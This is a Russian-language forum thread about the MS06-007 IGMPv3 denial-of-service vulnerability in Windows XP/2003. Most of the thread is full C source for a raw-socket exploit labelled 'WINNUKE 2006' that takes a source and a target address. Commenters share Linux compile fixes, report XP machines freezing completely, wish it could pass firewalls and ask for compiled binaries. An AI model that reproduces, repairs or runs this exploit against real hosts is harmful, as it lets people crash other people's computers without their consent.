Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1 2 След.
RSS
MS Windows XP/2003 (IGMP v3) Denial of Service Exploit (MS06-007)
 
Обсуждение статьи MS Windows XP/2003 (IGMP v3) Denial of Service Exploit (MS06-007)
 
попозже откомпилить попытаюсь
 
а что же откомпиленую версию убрали? ща выложу...
 
а под *nix компилится? что-то мня winsock настораживает
 
Компилицца

Код
/*
        WINNUKE 2006 IGMP v3 MS06-007 DoS Exploit

        Based on code by Alexey Sintsov

 */


#include <stdio.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <linux/igmp.h>
#include <errno.h>

/*      IP checksum calculation function        */
unsigned short checksum(unsigned short *buf, unsigned int count)
{
    register long sum = 0;

     while( count > 1 )  {
         sum += *buf++;
         count -= 2;
      }

      if( count > 0 )
      sum += * (unsigned char *) buf;

     while (sum>>16)
           sum = (sum & 0xffff) + (sum >> 16);

     return (unsigned short)(~sum);
}

int exploit(char* src, char* dst)
{
  in_addr_t dst_addr, src_addr;
  struct iphdr ip_head;
  unsigned short options[2];
  struct igmpv3_query igmp_query;
  struct sockaddr_in ssin;
  int sock, sockopt;
  char packet[128];

        src_addr=inet_addr(src);
        dst_addr=inet_addr(dst);

        memset(packet,0,sizeof(packet));

        if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == -1 ) {
                perror("socket");
                return 0;
        }

        sockopt=1;
        if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&sockopt,sizeof(sockopt)) == -1) {
                perror("setsockopt");
                close(sock);
                return 0;
        }

        memset(&ssin, 0, sizeof(ssin));
        ssin.sin_family=AF_INET;
        ssin.sin_port=htons(0);
        ssin.sin_addr.s_addr=dst_addr;

        memset(&ip_head,0,sizeof(ip_head));

        ip_head.ihl= (sizeof(ip_head)+sizeof(options))/sizeof(u_int32_t);
        ip_head.version=4;
        ip_head.tos=0;

        ip_head.tot_len=htons(sizeof(ip_head)+sizeof(options)+sizeof(igmp_query));

        ip_head.id=0;
        ip_head.frag_off=0;
        ip_head.ttl=64;
        ip_head.protocol=IPPROTO_IGMP;
        ip_head.check=0;
        ip_head.daddr=dst_addr;
        ip_head.saddr=src_addr;

        options[0]=htons(0x0000); // vuln
        options[1]=htons(0x0000);

        memset(&igmp_query,0,sizeof(igmp_query));
        igmp_query.type=IGMP_HOST_MEMBERSHIP_QUERY;
        igmp_query.code=10;
        igmp_query.csum=0;
        igmp_query.group=inet_addr("0.0.0.0");

        igmp_query.nsrcs=htons(0);
        igmp_query.qrv=0;
        igmp_query.suppress=0;
        igmp_query.resv=0;
        igmp_query.qqic=0;

        // IGMP checksum in swapped byte order
        igmp_query.csum=checksum((ushort *)&igmp_query,sizeof(igmp_query));

        memcpy(packet, &ip_head, sizeof(ip_head));
        memcpy(packet+sizeof(ip_head), &options, sizeof(options));
        memcpy(packet+sizeof(ip_head)+sizeof(options), &igmp_query, sizeof(igmp_query));

        ((struct iphdr*)packet)->check=htons(checksum((ushort *)packet,sizeof(ip_head)+sizeof(igmp_query)));

        if(sendto(sock, packet,sizeof(ip_head)+sizeof(options)+sizeof(igmp_query),0,(struct sockaddr*)&ssin,
                        sizeof(ssin))==-1)
        {
                perror("send");
                close(sock);
                return 0;
        }
        printf("\n IGMP packet sent to the host %s\n",dst);

        close(sock);

  return 1;
}


int main(int argc, char **argv)
{
        printf("\n WINNUKE Reloaded 2006 IGMP v3 DoS Exploit (MS06-007)\n\n");

        if(argc<3)
        {
                printf(" Usage:\n\t%s source target\n\n", argv[0]);
                exit(0);
        }

        exploit(argv[1], argv[2]);

        return 0;
}

 
у кого работает, отпишитесь плиз
 
Для линуха добавить:
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
Заменить exit(0) на _exit(0)

И собралось.
чистая XP зависла.
win 2000 - не риагирует.
 
Цитата
Гость пишет:
чистая XP зависла.
win 2000 - не риагирует.
так уязвимость то не в win 2000 а в XP и 2003...

Цитата
Гость пишет:
а что же откомпиленую версию убрали? ща выложу...

да нет, как лежала здесь так и лежит...
 
А вин 2000 в списки уезвимый осей и не значится
 
Цитата

Гость пишет:
чистая XP зависла.
win 2000 - не риагирует.

так уязвимость то не в win 2000 а в XP и 2003...


Гость пишет:
а что же откомпиленую версию убрали? ща выложу...  


да нет, как лежала здесь так и лежит...
то была ms06-006, а енто ms06-007. и компилится без проблем.
 
XP SP2 пашет на многих машинах, однако на 20% машин(XP хз какой СП) не пашет
результат: зависание полное, даже мышка не шевелится
 
работает..
 
Эх.... Хорошо бы она через файрволы пролазила! Вот тогда весчь былаб незаменимая а так даже проверить не могу... На себе разве что =)
 
Народ чем компилили и выложте пожалуйста скомпиленный ms06-007
 
2003sp1 кладет?
 
Чем отличаются ms06-006, от ms06-007 кто знает?
И чем кто компилил?
 
ms06-007 у кого-нибудь получилось скомпилить? Укажите где в коде ошибки!
 
зависла xp в безопасный режим не выходит .
 
Чё-то первый вариант компилится, но работать не хочет говорит ошибка сокета.
Второй не хочет,  уже который час ищу не могу найти:
#include <sys/socket.h>
#include <netinet/ip.h>
#include <linux/igmp.h>
люди, дайте рабочую ссылку на инклудки!
 
Пашет, пашет....

Смотри-ка не думал, что можно так завалиться за пару минут =)))))))))))
Страницы: 1 2 След.
Читают тему (гостей: 1)